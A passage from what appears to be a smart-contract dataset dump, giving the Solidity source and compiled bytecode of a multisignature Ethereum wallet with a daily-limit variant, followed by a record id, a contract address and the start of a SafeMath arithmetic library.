/// @param instantiation Address of contract instantiation.
function register(address instantiation)
internal
{
isInstantiation[instantiation] = true;
instantiations[msg.sender].push(instantiation);
ContractInstantiation(msg.sender, instantiation);
}
}
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d3a0a7b6b5b2bdfdb4b6bca1b4b693b0bcbda0b6bda0aaa0fdbdb6a7">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="7300071615121d5d14161c01141633101c1d00161d000a005d1d1607">[email protected]</a>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
|
{"success": true, "error": null, "results": {}}
| 4,226 |
0x66B915D91bEbdfF07d4f15980Ec9c2d487c12923
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
